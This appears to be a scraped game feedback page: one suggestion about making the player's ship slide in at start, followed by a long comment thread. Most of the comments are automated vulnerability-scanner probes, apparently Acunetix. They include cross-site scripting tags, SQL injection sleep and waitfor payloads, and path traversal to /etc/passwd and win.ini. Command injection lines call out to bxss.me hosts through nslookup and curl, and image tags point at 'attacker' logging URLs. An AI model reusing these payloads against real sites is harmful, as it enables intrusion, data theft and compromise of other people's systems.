Feedback

Submit suggestion

Slide ship in on start by Kickass guy - 155 months ago

The ship is rather difficult to spot when it starts, perhaps give it a little push so it slides down the screen when it spawns?

661 agree

Unvote
  • CrazyDeathling

    Or maybe click and drag it to where u want it to start
  • DevilishDB

    It shows some small sparks coming out doesn't it?
  • why i dont destroy the web

    lol
  • i want to drink some pee

    llllllllliiiiiiiiiiiiiiilllllllllllll
  • cattydoes

    do someone play roblox <:
  • PSY

    oppa gangnam style
  • Monsta

    gottam
  • 4542700395844717

    Your comment
  • @@V11c6

    1
  • @@V11c6

    1
  • @@jzgyW

    1
  • @@jzgyW

    1
  • @@jzgyW

    JJJ30QQQ
  • @@jzgyW

    1
  • WfxYANoW

    1
  • WfxYANoW

    1BikhBMFRxO
  • 12y3QnF0iO

    1
  • Anonymous

    1
  • WfxYANoW

    1<esi:include src="http://bxss.me/rpb.png"/>
  • WfxYANoW

    http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
  • WfxYANoW

    ${10000356+9999235}
  • WfxYANoW

    ../../../../../../../../../../../../../../etc/passwd
  • WfxYANoW

    1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
  • WfxYANoW

    response.write(9894174*9193068)
  • WfxYANoW

    '+response.write(9894174*9193068)+'
  • WfxYANoW

    "+response.write(9894174*9193068)+"
  • WfxYANoW

    echo cululx$()\ bnzdxz\nz^xyu||a #' &echo cululx$()\ bnzdxz\nz^xyu||a #|" &echo cululx$()\ bnzdxz\nz^xyu||a #
  • WfxYANoW

    Http://bxss.me/t/fit.txt
  • ${10000251+9999782}

    1
  • response.write(9209705*9295505)

    1
  • WfxYANoW

    1&n941227=v963245
  • WfxYANoW

    &echo lutnjl$()\ pfgwfh\nz^xyu||a #' &echo lutnjl$()\ pfgwfh\nz^xyu||a #|" &echo lutnjl$()\ pfgwfh\nz^xyu||a #
  • WfxYANoW

    http://bxss.me/t/fit.txt?.jpg
  • WfxYANoW

    1&echo xeynee$()\ htjelq\nz^xyu||a #' &echo xeynee$()\ htjelq\nz^xyu||a #|" &echo xeynee$()\ htjelq\nz^xyu||a #
  • NXlQeHhKbEc=

    1
  • '+response.write(9209705*9295505)+'

    1
  • WfxYANoW&n983084=v921721

    1
  • WfxYANoW

    |echo hbhmhw$()\ lnqnff\nz^xyu||a #' |echo hbhmhw$()\ lnqnff\nz^xyu||a #|" |echo hbhmhw$()\ lnqnff\nz^xyu||a #
  • WfxYANoW

    ../../../../../../../../../../../../../../windows/win.ini
  • "+response.write(9209705*9295505)+"

    1
  • WfxYANoW

    1|echo wdfoyr$()\ qqctyj\nz^xyu||a #' |echo wdfoyr$()\ qqctyj\nz^xyu||a #|" |echo wdfoyr$()\ qqctyj\nz^xyu||a #
  • WfxYANoW

    /etc/shells
  • WfxYANoW

    )
  • WfxYANoW

    3EKHazRS
  • WfxYANoW

    file:///etc/passwd
  • WfxYANoW

    ../../../../../../../../../../../../../../etc/shells
  • WfxYANoW

    (nslookup -q=cname hitlwrqlyrvsx3c7dd.bxss.me||curl hitlwrqlyrvsx3c7dd.bxss.me))
  • WfxYANoW

    2IXls9oH: 9TXDt0Pp
  • WfxYANoW

    1
  • WfxYANoW

    $(nslookup -q=cname hitswzbndlfdc52627.bxss.me||curl hitswzbndlfdc52627.bxss.me)
  • WfxYANoW

    ../1
  • GbxRQ8Ic

    1
  • WfxYANoW

    1
  • WfxYANoW

    c:/windows/win.ini
  • WfxYANoW

    &nslookup -q=cname hitzojojtwibnbccc6.bxss.me&'\"`0&nslookup -q=cname hitzojojtwibnbccc6.bxss.me&`'
  • WfxYANoW

    &(nslookup -q=cname hitjxkbphjcpd58fa5.bxss.me||curl hitjxkbphjcpd58fa5.bxss.me)&'\"`0&(nslookup -q=cname hitjxkbphjcpd58fa5.bxss.me||curl hitjxkbphjcpd58fa5.bxss.me)&`'
  • WfxYANoW

    !(()&&!|*|*|
  • WfxYANoW

    '.gethostbyname(lc('hitya'.'kbqbnzzj31bb8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(87).chr(122).chr(73).'
  • fMLwTDc1: Dkb33E48

    1
  • WfxYANoW

    ^(#$!@#$)(()))******
  • WfxYANoW

    '"()
  • )

    1
  • WfxYANoW

    bxss.me
  • !(()&&!|*|*|

    1
  • WfxYANoW

    ".gethostbyname(lc("hitbu"."atkslpjr1bff5.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(82).chr(99).chr(74)."
  • WfxYANoW

    |(nslookup -q=cname hitzttzvtzhgvbf242.bxss.me||curl hitzttzvtzhgvbf242.bxss.me)
  • WfxYANoW

    gethostbyname(lc('hitzw'.'fybewfml99caa.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(78).chr(100).chr(76)
  • WfxYANoW

    1'&&sleep(27*1000)*nwkwny&&'
  • WfxYANoW

    ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
  • WfxYANoW

    `(nslookup -q=cname hitxhftdyuncj70498.bxss.me||curl hitxhftdyuncj70498.bxss.me)`
  • WfxYANoW

    ';print(md5(31337));$a='
  • file:///etc/passwd

    1
  • 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

    1
  • WfxYANoW

    ;(nslookup -q=cname hitamyjdsjgal24d48.bxss.me||curl hitamyjdsjgal24d48.bxss.me)|(nslookup -q=cname hitamyjdsjgal24d48.bxss.me||curl hitamyjdsjgal24d48.bxss.me)&(nslookup -q=cname hitamyjdsjgal24d48.bxss.me||curl hitamyjdsjgal24d48.bxss.me)
  • WfxYANoW

    ";print(md5(31337));$a="
  • ^(#$!@#$)(()))******

    1
  • WfxYANoW

    1
  • Http://bxss.me/t/fit.txt

    1
  • WfxYANoW

    1"&&sleep(27*1000)*wrnzxv&&"
  • ../WfxYANoW

    1
  • http://bxss.me/t/fit.txt?.jpg

    1
  • WfxYANoW

    ${@print(md5(31337))}
  • WfxYANoW

    |(nslookup${IFS}-q${IFS}cname${IFS}hituzgzslapox8eac8.bxss.me||curl${IFS}hituzgzslapox8eac8.bxss.me)
  • WfxYANoW

    xfs.bxss.me
  • WfxYANoW

    1
  • WfxYANoW

    )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
  • WfxYANoW

    '"
  • WfxYANoW

    ${@print(md5(31337))}\
  • xfs.bxss.me

    1
  • WfxYANoW

    '.print(md5(31337)).'
  • /etc/shells

    1
  • WfxYANoW

    <!--
  • WfxYANoW

    1'"()&%<zzz><ScRiPt >VFY2(9297)</ScRiPt>
  • WfxYANoW

    1'||sleep(27*1000)*tgyykh||'
  • WfxYANoW

    '"()&%<zzz><ScRiPt >VFY2(9468)</ScRiPt>
  • WfxYANoW

    &(nslookup${IFS}-q${IFS}cname${IFS}hitqtixofgdip52369.bxss.me||curl${IFS}hitqtixofgdip52369.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitqtixofgdip52369.bxss.me||curl${IFS}hitqtixofgdip52369.bxss.me)&`'
  • c:/windows/win.ini

    1
  • WfxYANoW

    1"||sleep(27*1000)*rxctwz||"
  • '"

    1
  • bxss.me

    1
  • WfxYANoW

    19887024
  • ';print(md5(31337));$a='

    1
  • ";print(md5(31337));$a="

    1
  • <!--

    1
  • WfxYANoW

    1
  • WfxYANoW

    HttP://bxss.me/t/xss.html?%00
  • WfxYANoW

    bfg10853<s1﹥s2ʺs3ʹhjl10853
  • WfxYANoW

    comment
  • WfxYANoW

    "+"A".concat(70-3).concat(22*4).concat(115).concat(88).concat(119).concat(75)+(require"socket" Socket.gethostbyname("hitsm"+"pmamygcta76aa.bxss.me.")[3].to_s)+"
  • ${@print(md5(31337))}

    1
  • WfxYANoW

    '+'A'.concat(70-3).concat(22*4).concat(119).concat(79).concat(100).concat(74)+(require'socket' Socket.gethostbyname('hitoy'+'mblsllwo90a96.bxss.me.')[3].to_s)+'
  • WfxYANoW

    comment
  • ${@print(md5(31337))}\

    1
  • WfxYANoW

    bxss.me/t/xss.html?%00
  • HttP://bxss.me/t/xss.html?%00

    1
  • WfxYANoW

    'A'.concat(70-3).concat(22*4).concat(111).concat(65).concat(103).concat(77)+(require'socket' Socket.gethostbyname('hitnb'+'ucqnzzsqc2d24.bxss.me.')[3].to_s)
  • '"()

    1
  • WfxYANoW'&&sleep(27*1000)*amptwo&&'

    1
  • '.print(md5(31337)).'

    1
  • WfxYANoW

    <%={{={@{#{${dfb}}%>
  • WfxYANoW

    comment/.
  • WfxYANoW"&&sleep(27*1000)*hziigh&&"

    1
  • bxss.me/t/xss.html?%00

    1
  • WfxYANoW'||sleep(27*1000)*fhpitg||'

    1
  • comment

    1
  • WfxYANoW"||sleep(27*1000)*ouuevk||"

    1
  • WfxYANoW

    <th:t="${dfb}#foreach
  • comment

    1
  • comment/.

    1
  • WfxYANoW

    1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
  • WfxYANoW

    dfb{{98991*97996}}xca
  • WfxYANoW

    dfb[[${98991*97996}]]xca
  • WfxYANoW

    1
  • WfxYANoW

    dfb__${98991*97996}__::.x
  • WfxYANoW

    "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
  • WfxYANoW

    1<ScRiPt >VFY2(9798)</ScRiPt>
  • WfxYANoW

    1<W3LVDG>IR4ZZ[!+!]</W3LVDG>
  • WfxYANoW

    1<script>VFY2(9932)</script>
  • WfxYANoW

    1<script>VFY2(9520)</script>9520
  • WfxYANoW

    1<ScR<ScRiPt>IpT>VFY2(9566)</sCr<ScRiPt>IpT>
  • WfxYANoW

    1<ScRiPt >VFY2(9088)</ScRiPt>
  • WfxYANoW

    1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9441></ScRiPt>
  • WfxYANoW

    1<ScRiPt >VFY2(9007)</ScRiPt>
  • WfxYANoW

    1<isindex type=image src=1 onerror=VFY2(9220)>
  • WfxYANoW

    1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9766'>
  • WfxYANoW

    1<body onload=VFY2(9052)>
  • WfxYANoW

    1<img src=//xss.bxss.me/t/dot.gif onload=VFY2(9462)>
  • WfxYANoW

    1<img src=xyz OnErRor=VFY2(9704)>
  • WfxYANoW

    1jtJk8Y91
  • WfxYANoW

    1<img/src=">" onerror=alert(9259)>
  • WfxYANoW

    %31%3C%53%63%52%69%50%74%20%3E%56%46%59%32%289289%29%3C%2F%73%43%72%69%70%54%3E
  • WfxYANoW

    1\u003CScRiPt\VFY2(9893)\u003C/sCripT\u003E
  • WfxYANoW

    1&lt;ScRiPt&gt;VFY2(9130)&lt;/sCripT&gt;
  • WfxYANoW

    1<input autofocus onfocus=VFY2(9291)>
  • WfxYANoW

    <a HrEF=http://xss.bxss.me></a>
  • WfxYANoW

    1
  • WfxYANoW

    -1 OR 2+833-833-1=0+0+0+1 --
  • WfxYANoW

    <a HrEF=jaVaScRiPT:>
  • WfxYANoW

    -1 OR 2+67-67-1=0+0+0+1
  • WfxYANoW

    1}body{zzz:Expre/**/SSion(VFY2(9808))}
  • WfxYANoW

    1W2Z06 <ScRiPt >VFY2(9383)</ScRiPt>
  • WfxYANoW

    -1' OR 2+757-757-1=0+0+0+1 --
  • WfxYANoW

    -1' OR 2+390-390-1=0+0+0+1 or 'NoXrPqu8'='
  • WfxYANoW

    1<W3W2OI>KDXYF[!+!]</W3W2OI>
  • WfxYANoW

    -1" OR 2+244-244-1=0+0+0+1 --
  • WfxYANoW

    1<ifRAme sRc=9562.com></IfRamE>
  • WfxYANoW

    1<av8uPDu x=9242>
  • WfxYANoW

    1<img sRc='http://attacker-9014/log.php?
  • WfxYANoW

    1<awY6xAv<
  • WfxYANoW'"()&%<zzz><ScRiPt >VFY2(9330)</ScRiPt>

    1
  • '"()&%<zzz><ScRiPt >VFY2(9436)</ScRiPt>

    1
  • WfxYANoW9511190

    1
  • bfg1306<s1﹥s2ʺs3ʹhjl1306

    1
  • WfxYANoW

    1*if(now()=sysdate(),sleep(15),0)
  • <%={{={@{#{${dfb}}%>

    1
  • <th:t="${dfb}#foreach

    1
  • 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

    1
  • dfb{{98991*97996}}xca

    1
  • dfb[[${98991*97996}]]xca

    1
  • dfb__${98991*97996}__::.x

    1
  • "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

    1
  • WfxYANoW<ScRiPt >VFY2(9998)</ScRiPt>

    1
  • WfxYANoW

    10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
  • WfxYANoW<WQIZN6>ATVDE[!+!]</WQIZN6>

    1
  • WfxYANoW<script>VFY2(9055)</script>

    1
  • WfxYANoW<script>VFY2(9353)</script>9353

    1
  • WfxYANoW<ScRiPt >VFY2(9903)</ScRiPt>

    1
  • WfxYANoW<ScRiPt >VFY2(9151)</ScRiPt>

    1
  • WfxYANoW

    10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
  • WfxYANoW<body onload=VFY2(9350)>

    1
  • WfxYANoW<img src=xyz OnErRor=VFY2(9594)>

    1
  • WfxYANoW<img/src=">" onerror=alert(9036)>

    1
  • WfxYANoW\u003CScRiPt\VFY2(9672)\u003C/sCripT\u003E

    1
  • WfxYANoW&lt;ScRiPt&gt;VFY2(9288)&lt;/sCripT&gt;

    1
  • WfxYANoW<input autofocus onfocus=VFY2(9504)>

    1
  • <a HrEF=http://xss.bxss.me></a>

    1
  • <a HrEF=jaVaScRiPT:>

    1
  • WfxYANoW

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • WfxYANoW}body{zzz:Expre/**/SSion(VFY2(9833))}

    1
  • WfxYANoWVFon8 <ScRiPt >VFY2(9089)</ScRiPt>

    1
  • WfxYANoW<WDJJT8>ZWE58[!+!]</WDJJT8>

    1
  • WfxYANoW<ifRAme sRc=9175.com></IfRamE>

    1
  • WfxYANoW<a7EnWtX x=9118>

    1
  • WfxYANoW<img sRc='http://attacker-9710/log.php?

    1
  • WfxYANoW<aVoiJ1P<

    1
  • WfxYANoW

    1-1; waitfor delay '0:0:15' --
  • WfxYANoW

    1-1); waitfor delay '0:0:15' --
  • WfxYANoW

    1-1 waitfor delay '0:0:15' --
  • WfxYANoW

    1UWgJ4GsT'; waitfor delay '0:0:15' --
  • WfxYANoW

    1-1 OR 419=(SELECT 419 FROM PG_SLEEP(15))--
  • WfxYANoW

    1-1) OR 787=(SELECT 787 FROM PG_SLEEP(15))--
  • WfxYANoW

    1-1)) OR 224=(SELECT 224 FROM PG_SLEEP(15))--
  • WfxYANoW

    1uox74b0P' OR 959=(SELECT 959 FROM PG_SLEEP(15))--
  • WfxYANoW

    14pWu0V05') OR 191=(SELECT 191 FROM PG_SLEEP(15))--
  • WfxYANoW

    1uIoqfdY0')) OR 896=(SELECT 896 FROM PG_SLEEP(15))--
  • WfxYANoW

    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • WfxYANoW

    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • WfxYANoW

    1'"
  • WfxYANoW

    @@bU37E
  • WfxYANoW

    1
  • WfxYANoW

    1
  • WfxYANoWbGnPhAqE

    1
  • WfxYANoW

    1
  • -1 OR 2+595-595-1=0+0+0+1 --

    1
  • -1 OR 2+984-984-1=0+0+0+1

    1
  • -1' OR 2+216-216-1=0+0+0+1 --

    1
  • -1' OR 2+796-796-1=0+0+0+1 or '4esoIRN1'='

    1
  • -1" OR 2+524-524-1=0+0+0+1 --

    1
  • if(now()=sysdate(),sleep(15),0)

    1
  • WfxYANoW-1 waitfor delay '0:0:15' --

    1
  • WfxYANoW62uv4rZ4'; waitfor delay '0:0:15' --

    1
  • WfxYANoW'"

    1
  • @@BBJDh

    1
  • WfxYANoW

    1'"()&%<zzz><ScRiPt >QOg5(9034)</ScRiPt>
  • WfxYANoW

    '"()&%<zzz><ScRiPt >QOg5(9085)</ScRiPt>
  • WfxYANoW'"()&%<zzz><ScRiPt >lB6I(9841)</ScRiPt>

    1
  • '"()&%<zzz><ScRiPt >lB6I(9180)</ScRiPt>

    1
  • WfxYANoW

    19359382
  • WfxYANoW9014375

    1
  • WfxYANoW

    bfg3146<s1﹥s2ʺs3ʹhjl3146
  • bfg5631<s1﹥s2ʺs3ʹhjl5631

    1
  • <%={{={@{#{${dfb}}%>

    1
  • WfxYANoW

    <%={{={@{#{${dfb}}%>
  • WfxYANoW

    1
  • <th:t="${dfb}#foreach

    1
  • WfxYANoW

    <th:t="${dfb}#foreach
  • 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

    1
  • WfxYANoW

    1
  • WfxYANoW

    1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
  • dfb{{98991*97996}}xca

    1
  • WfxYANoW

    1
  • dfb[[${98991*97996}]]xca

    1
  • dfb__${98991*97996}__::.x

    1
  • WfxYANoW

    dfb{{98991*97996}}xca
  • WfxYANoW

    dfb[[${98991*97996}]]xca
  • "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

    1
  • WfxYANoW

    dfb__${98991*97996}__::.x
  • WfxYANoW

    "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
  • WfxYANoW<ScRiPt >lB6I(9152)</ScRiPt>

    1
  • WfxYANoW

    1<ScRiPt >QOg5(9957)</ScRiPt>
  • WfxYANoW

    1<W4KPDY>HU4H4[!+!]</W4KPDY>
  • WfxYANoW<WOJ4GD>QE2F1[!+!]</WOJ4GD>

    1
  • WfxYANoW

    1<script>QOg5(9909)</script>
  • WfxYANoW<script>lB6I(9516)</script>

    1
  • WfxYANoW

    1<script>QOg5(9667)</script>9667
  • WfxYANoW<script>lB6I(9092)</script>9092

    1
  • WfxYANoW

    1<ScR<ScRiPt>IpT>QOg5(9591)</sCr<ScRiPt>IpT>
  • WfxYANoW<ScRiPt >lB6I(9243)</ScRiPt>

    1
  • WfxYANoW

    1<ScRiPt >QOg5(9520)</ScRiPt>
  • WfxYANoW<ScRiPt >lB6I(9966)</ScRiPt>

    1
  • WfxYANoW

    1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9810></ScRiPt>
  • WfxYANoW

    1<ScRiPt >QOg5(9862)</ScRiPt>
  • WfxYANoW<body onload=lB6I(9230)>

    1
  • WfxYANoW

    1<isindex type=image src=1 onerror=QOg5(9396)>
  • WfxYANoW

    1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9709'>
  • WfxYANoW<img src=xyz OnErRor=lB6I(9103)>

    1
  • WfxYANoW

    1<body onload=QOg5(9875)>
  • WfxYANoW<img/src=">" onerror=alert(9274)>

    1
  • WfxYANoW

    1<img src=//xss.bxss.me/t/dot.gif onload=QOg5(9308)>
  • WfxYANoW

    1<img src=xyz OnErRor=QOg5(9597)>
  • WfxYANoW\u003CScRiPt\lB6I(9130)\u003C/sCripT\u003E

    1
  • WfxYANoW&lt;ScRiPt&gt;lB6I(9305)&lt;/sCripT&gt;

    1
  • WfxYANoW

    1<img/src=">" onerror=alert(9139)>
  • WfxYANoW

    %31%3C%53%63%52%69%50%74%20%3E%51%4F%67%35%289741%29%3C%2F%73%43%72%69%70%54%3E
  • WfxYANoW<input autofocus onfocus=lB6I(9370)>

    1
  • <a HrEF=http://xss.bxss.me></a>

    1
  • WfxYANoW

    1\u003CScRiPt\QOg5(9106)\u003C/sCripT\u003E
  • WfxYANoW

    1&lt;ScRiPt&gt;QOg5(9949)&lt;/sCripT&gt;
  • <a HrEF=jaVaScRiPT:>

    1
  • WfxYANoW}body{zzz:Expre/**/SSion(lB6I(9441))}

    1
  • WfxYANoW

    1<input autofocus onfocus=QOg5(9427)>
  • WfxYANoWK30eB <ScRiPt >lB6I(9307)</ScRiPt>

    1
  • WfxYANoW

    <a HrEF=http://xss.bxss.me></a>
  • WfxYANoW<W90NBV>RHHIT[!+!]</W90NBV>

    1
  • WfxYANoW

    <a HrEF=jaVaScRiPT:>
  • WfxYANoW

    1}body{zzz:Expre/**/SSion(QOg5(9477))}
  • WfxYANoW

    1nugDP <ScRiPt >QOg5(9012)</ScRiPt>
  • WfxYANoW<ifRAme sRc=9428.com></IfRamE>

    1
  • WfxYANoW

    1<WQLEJT>VS3UG[!+!]</WQLEJT>
  • WfxYANoW<a5fRBC0 x=9909>

    1
  • WfxYANoW

    1<ifRAme sRc=9745.com></IfRamE>
  • WfxYANoW<img sRc='http://attacker-9759/log.php?

    1
  • WfxYANoW

    1<aOzoEWf x=9911>
  • WfxYANoW<ajniahS<

    1
  • WfxYANoW

    1<img sRc='http://attacker-9706/log.php?
  • WfxYANoW

    1<azVBZrP<
  • Peter Winter

    555-555-0199@example.com
  • Pecedec150

    555-555-0199@example.com
  • ubaTaeCJ

    1
  • ubaTaeCJ

    1
  • @@SHgzn

    1
  • @@SHgzn

    1
  • egfhgdxv

    1
  • rwxkaatn

    response.write(9624234*9771045)
  • rwxkaatn

    '+response.write(9624234*9771045)+'
  • rwxkaatn

    "+response.write(9624234*9771045)+"
  • response.write(9724148*9729177)

    1
  • '+response.write(9724148*9729177)+'

    1
  • "+response.write(9724148*9729177)+"

    1
  • uetlulyh

    1
  • uetlulyh

    1
  • ebacpqvr

    set|set&set
  • uetlulyh

    zpmppVJs
  • ebacpqvr

    $(nslookup p3k2IoLI)
  • uetlulyh

    -1 OR 2+804-804-1=0+0+0+1 --
  • ebacpqvr

    &nslookup 2BoutBR0&'\"`0&nslookup 2BoutBR0&`'
  • uetlulyh

    -1 OR 2+646-646-1=0+0+0+1
  • set|set&set

    1
  • uetlulyh

    -1' OR 2+50-50-1=0+0+0+1 --
  • $(nslookup kO7gCfQX)

    1
  • uetlulyh

    -1' OR 2+344-344-1=0+0+0+1 or '569NcYSf'='
  • &nslookup dPWuF3Bw&'\"`0&nslookup dPWuF3Bw&`'

    1
  • uetlulyh

    -1" OR 2+760-760-1=0+0+0+1 --
  • qoehthqf

    gbVsRM8R
  • uetlulyh

    if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'"XOR(if(now()=sysdate(),sleep(9),0))OR"*/
  • s1biSeN2

    1
  • uetlulyh

    (select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/
  • brmrfyyv

    ../../../../../../../../../../etc/passwd
  • uetlulyh

    -1; waitfor delay '0:0:9' --
  • brmrfyyv

    ../../../../../../../../../../../../../../../proc/version
  • uetlulyh

    -1); waitfor delay '0:0:9' --
  • brmrfyyv

    ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
  • uetlulyh

    1 waitfor delay '0:0:3' --
  • brmrfyyv

    ../../../../../../../../../../etc/passwd.jpg
  • uetlulyh

    ythPjxNN'; waitfor delay '0:0:3' --
  • brmrfyyv

    ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
  • uetlulyh

    -1;select pg_sleep(3); --
  • brmrfyyv

    /../..//../..//../..//../..//../..//etc/passwd.jpg
  • uetlulyh

    -1);select pg_sleep(3); --
  • brmrfyyv

    .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
  • uetlulyh

    -1));select pg_sleep(3); --
  • brmrfyyv

    /etc/passwd
  • uetlulyh

    zcZArfwx';select pg_sleep(3); --
  • brmrfyyv

    %2fetc%2fpasswd
  • ytdnrtlb

    1
  • uetlulyh

    ANlBdmPu');select pg_sleep(6); --
  • brmrfyyv

    /.././.././.././.././.././.././.././../etc/./passwd%00
  • uetlulyh

    QOlBWQ5U'));select pg_sleep(6); --
  • brmrfyyv

    ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
  • uetlulyh

    1
  • rmxiotrl

    ${10000383+9999853}
  • brmrfyyv

    ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
  • uetlulyh

    1
  • ${10000442+9999215}

    1
  • ytdnrtlb

    1
  • S3kfmFOV

    1
  • caculgho

    http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
  • dFdIbXlza2U=

    1
  • brmrfyyv

    invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
  • Anonymous

    1
  • -1 OR 2+786-786-1=0+0+0+1 --

    1
  • caculgho

    1some_inexistent_file_with_long_name.jpg
  • yjotedlr

    1&n998762=v915589
  • brmrfyyv

    file:///etc/passwd
  • -1 OR 2+624-624-1=0+0+0+1

    1
  • caculgho

    Http://testasp.vulnweb.com/t/fit.txt
  • brmrfyyv

    /\../\../\../\../\../\../\../etc/passwd
  • yurriueo

    )
  • -1' OR 2+57-57-1=0+0+0+1 --

    1
  • caculgho

    http://testasp.vulnweb.com/t/fit.txt?.jpg
  • rqdedglb&n984500=v911377

    1
  • brmrfyyv

    WEB-INF/web.xml
  • yurriueo

    !(()&&!|*|*|
  • -1' OR 2+452-452-1=0+0+0+1 or 'NZrMAhyL'='

    1
  • cluyhpqy

    ;print(md5(acunetix_wvs_security_test));
  • caculgho

    testasp.vulnweb.com
  • brmrfyyv

    /WEB-INF/web.xml
  • yurriueo

    ^(#$!@#$)(()))******
  • mataqtff

    '"()
  • -1" OR 2+56-56-1=0+0+0+1 --

    1
  • cluyhpqy

    ';print(md5(acunetix_wvs_security_test));$a='
  • brmrfyyv

    WEB-INF\web.xml
  • olhlswpp

    http://testasp.vulnweb.com/t/xss.html?%00.jpg
  • )

    1
  • cluyhpqy

    ";print(md5(acunetix_wvs_security_test));$a="
  • 1some_inexistent_file_with_long_name.jpg

    1
  • ../../../../../../../../../../etc/passwd

    1
  • http://testasp.vulnweb.com/t/xss.html?%00.jpg

    1
  • !(()&&!|*|*|

    1
  • '"()

    1
  • cluyhpqy

    ${@print(md5(acunetix_wvs_security_test))}
  • Http://testasp.vulnweb.com/t/fit.txt

    1
  • initpsfi

    1
  • ^(#$!@#$)(()))******

    1
  • hjblqbop

    http://hitpmkzhZadon.bxss.me/
  • 1 waitfor delay '0:0:9' --

    1
  • cluyhpqy

    ${@print(md5(acunetix_wvs_security_test))}\
  • http://testasp.vulnweb.com/t/fit.txt?.jpg

    1
  • initpsfi

    comment
  • lsoroukb

    1
  • hv08K8CW'; waitfor delay '0:0:9' --

    1
  • http://hitZQGeheJodM.bxss.me/

    1
  • ;print(md5(acunetix_wvs_security_test));

    1
  • testasp.vulnweb.com

    1
  • initpsfi

    comment
  • lsoroukb

    1'"
  • gXZOULfY';select pg_sleep(13); --

    1
  • oapqcydo

    )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
  • ../../../../../../../../../../etc/passwd.jpg

    1
  • ';print(md5(acunetix_wvs_security_test));$a='

    1
  • rorbolha

    /www.vulnweb.com
  • initpsfi

    comment/.
  • lsoroukb

    \
  • GItxJzsQ');select pg_sleep(13); --

    1
  • swjlqemr

    '"
  • ";print(md5(acunetix_wvs_security_test));$a="

    1
  • /www.vulnweb.com

    1
  • initpsfi

    1
  • QN5lOB87'));select pg_sleep(13); --

    1
  • swjlqemr

    <!--
  • ${@print(md5(acunetix_wvs_security_test))}

    1
  • lwqibllw

    1'"()&%<acx><ScRiPt >epDN(9328)</ScRiPt>
  • comment

    1
  • lsoroukb

    @@8SYjl
  • '"

    1
  • .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

    1
  • ${@print(md5(acunetix_wvs_security_test))}\

    1
  • comment

    1
  • lsoroukb

